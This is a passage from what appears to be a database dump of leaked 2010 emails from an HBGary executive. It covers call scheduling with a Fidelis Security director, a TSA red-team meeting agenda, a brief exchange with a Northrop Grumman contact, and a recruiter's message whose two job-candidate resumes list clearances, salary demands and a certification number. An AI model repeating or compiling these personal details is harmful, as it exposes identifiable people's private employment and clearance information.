Fidelis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan we do 10am CT?&nbsp; Will is actually on the West\r\nCoast.&nbsp; I don&#8217;t think it will take more than 30mins.\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nDirector, West Region\r\n\r\n214.505.3136 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 11:30 AM\r\nTo: Richardson, Toby\r\nSubject: Re: Fidelis\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow does 9am CT tomorrow sound? &nbsp;I have a 1:30 ET\r\nmeeting tomorrow.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 12:21 PM, Richardson, Toby wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI would like to get a few minutes with you and to introduce Will\r\nIrace.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan you do after 3pm CT today or before 12noon CT tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-tr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n\r\n\r\n\r\nDirector, West Region\r\n\r\n\r\n\r\n\r\n\r\n214.505.3136\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n18, 2010 9:39 AM\r\nTo:&nbsp;Richardson, Toby\r\nSubject:&nbsp;Re: Fidelis\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nToby,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry if I dropped this, I am working on a large proposal\r\nand just got heads down. &nbsp;Do you still want to talk about this, maybe\r\ntoday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 16, 2010, at 4:06 PM, Richardson, Toby wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you have 30 mins for a call either of the next 2 days?&nbsp;\r\nWill Irace, included on this thread, is the SE for Broadcom and I wanted to\r\nbring him into the loop of our discussion.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-tr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirector, West Region\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n214.505.3136\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, August 10,\r\n2010 11:31 AM\r\nTo:&nbsp;Richardson, Toby\r\nSubject:&nbsp;Re: Fidelis\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Toby,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am excited about this. &nbsp;I think we can do this for\r\naround 30K for the 30 days. &nbsp;Does that sounds reasonable or doable to you?\r\n&nbsp;I would like to talk again to makes sure I am clear on your constraints,\r\nobjectives, etc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 4:28 PM, Richardson, Toby wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nwas great talking to you this morning.&nbsp; I look forward to working with you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-tr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nToby Richardson\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDirector, Western Region\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFidelis Security\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDallas, Texas\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.jpg&gt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSee It in Action: Fidelis XPS&#8482;&nbsp;Latest Threat Migitation\r\nFeatures\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber\r\nThreats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11840,'aaron_hbgary_com/11840.html'),(10547,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008184.M572104P14101Q5402.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS Red Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt was sent\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 12:25 PM\r\nTo: Kirby Kintner\r\nSubject: Re: TSA ITSSS Red Team\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKirby,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDid u send the fax?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen:\r\nSaturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp;\r\nCanada).\r\n\r\n\r\n\r\n\r\n\r\nWhere:\r\nDMI Facility, Bethesda\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNote:\r\nThe GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAgenda:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1PM\r\n&#8211; 1:15 Kick-off\r\n\r\n\r\n\r\n\r\n\r\n1:15\r\n- 3:30 Review\r\n\r\n\r\n\r\n\r\n\r\n3:30\r\n&#8211; 4&nbsp; Develop Top Ten list \r\n\r\n\r\n\r\n\r\n\r\n4PM\r\n- Dismiss\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4616,'aaron_hbgary_com/4616.html'),(10548,'2010-08-18','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297008184.M962770P14101Q5403.eml','aaron@hbgary.com','Re: EXTERNAL:Update','I\'m surprised and disappointed you/we weren\'t called in. I will look forward with interest to see how I\'m treated next time I see someone from up there. \r\n\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, August 18, 2010 11:28 AM\r\nTo: Conroy, Thomas W.\r\nSubject: Re: EXTERNAL:Update\r\n\r\nOK.  I wasn\'t sure about the dynamics.  Well we did our part.\r\n\r\nOn Aug 18, 2010, at 12:19 PM, Conroy, Thomas W. wrote:\r\n\r\n> Hard to believe it was intentional, especially given the DNI was ignorant.\r\n> That would be a major faux fax.  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 18, 2010 12:10 PM\r\n> To: Conroy, Thomas W.\r\n> Subject: EXTERNAL:Update\r\n> \r\n> Hi Tom,\r\n> \r\n> I just wanted to close the loop on the conversation.  I got a call late last\r\n> week and gave the folks up north a call on a secure line, gave them my\r\n> information in detail.  They said if they had any follow up that was needed\r\n> they would give me a call.  So I think that is it.\r\n> \r\n> Something that occurred to me.  Maybe they are ok with the level of\r\n> information that is discernible?  This whole thing, if not a fluke, is very\r\n> interesting in that it happened, was allowed, etc.  Maybe a current change?\r\n> No need to take unnecessary risks though.\r\n> \r\n> Aaron\r\n\r\n',4009,'aaron_hbgary_com/4009.html'),(10549,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008185.M251033P14101Q5404.eml','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','Re: Fidelis','Sure we can squeeze it in.On Aug 18, 2010, at 12:31 PM, Richardson, Toby wrote:Can we do 10am CT?&nbsp; Will is actually on the West Coast.&nbsp; I don’t think it will take more than 30mins.&nbsp;-tr&nbsp;++++++++++++++++++++++++++++++++++++++++++++++++Director, West Region214.505.3136&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 11:30 AMTo:&nbsp;Richardson, TobySubject:&nbsp;Re: Fidelis&nbsp;How does 9am CT tomorrow sound? &nbsp;I have a 1:30 ET meeting tomorrow.&nbsp;Aaron&nbsp;On Aug 18, 2010, at 12:21 PM, Richardson, Toby wrote:I would like to get a few minutes with you and to introduce Will Irace.&nbsp;Can you do after 3pm CT today or before 12noon CT tomorrow?&nbsp;-tr&nbsp;&nbsp;&nbsp;++++++++++++++++++++++++++++++++++++++++++++++++Director, West Region214.505.3136&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 9:39 AMTo:&nbsp;Richardson, TobySubject:&nbsp;Re: Fidelis&nbsp;Toby,&nbsp;Sorry if I dropped this, I am working on a large proposal and just got heads down. &nbsp;Do you still want to talk about this, maybe today?&nbsp;Aaron&nbsp;On Aug 16, 2010, at 4:06 PM, Richardson, Toby wrote:Aaron&nbsp;Do you have 30 mins for a call either of the next 2 days?&nbsp; Will Irace, included on this thread, is the SE for Broadcom and I wanted to bring him into the loop of our discussion.&nbsp;-tr&nbsp;++++++++++++++++++++++++++++++++++++++++++++++++Director, West Region214.505.3136&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, August 10, 2010 11:31 AMTo:&nbsp;Richardson, TobySubject:&nbsp;Re: Fidelis&nbsp;Hi Toby,&nbsp;I am excited about this. &nbsp;I think we can do this for around 30K for the 30 days. &nbsp;Does that sounds reasonable or doable to you? &nbsp;I would like to talk again to makes sure I am clear on your constraints, objectives, etc.&nbsp;Aaron&nbsp;&nbsp;On Aug 6, 2010, at 4:28 PM, Richardson, Toby wrote:Aaron&nbsp;It was great talking to you this morning.&nbsp; I look forward to working with you.&nbsp;Best&nbsp;-tr&nbsp;Toby RichardsonDirector, Western Region&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;Fidelis SecurityDallas, TexasPhone:&nbsp; 214.505.3136&nbsp;http://www.fidelissecurity.com&lt;image001.jpg&gt;&nbsp;See It in Action: Fidelis XPS™&nbsp;Latest Threat Migitation FeaturesRead All About It:&nbsp; Fidelis XPS&nbsp;Prevents Advanced Cyber Threats&nbsp;&nbsp;&nbsp;&nbsp;',1184,'aaron_hbgary_com/1184.html'),(10550,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008185.M542794P14101Q5405.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TSA ITSSS Red Team','Begin forwarded message:From: Kirby Kintner &lt;kkintner@digitalmanagement.com&gt;Date: August 18, 2010 12:40:23 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: TSA ITSSS Red TeamIt was sent&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 12:25 PMTo:&nbsp;Kirby KintnerSubject:&nbsp;Re: TSA ITSSS Red Team&nbsp;Kirby,&nbsp;Did u send the fax?&nbsp;Aaron&nbsp;On Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:When: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).Where: DMI Facility, Bethesda&nbsp;Note: The GMT offset above does not reflect daylight saving time adjustments.&nbsp;*~*~*~*~*~*~*~*~*~*&nbsp;Agenda:&nbsp;1PM – 1:15 Kick-off1:15 - 3:30 Review3:30 – 4&nbsp; Develop Top Ten list4PM - Dismiss&nbsp;&nbsp;&nbsp;&lt;Mail Attachment.ics&gt;&nbsp;',1992,'aaron_hbgary_com/1992.html'),(10551,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008185.M958925P14101Q5406.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: Cyber Recruits!','ok so the second resume fits the clearance bill, experience is a bit junior but might work, let me as the prime some questions. &nbsp;What type of salary is person looking for?The first resume has the right skills but for MD not the right clearances. &nbsp;Is he willing to commute at all? &nbsp;I could probably place him on ESOC. &nbsp;Salary might be bit high though have to check.AaronOn Aug 18, 2010, at 10:23 AM, Ed Wallach wrote:Hi Aaron,I\'m available this week to discuss recruiting for HB Gary.We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.My office is right near montgomery mall.I\'m ready to roll when you are!Edhere\'s a few samples below:1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police 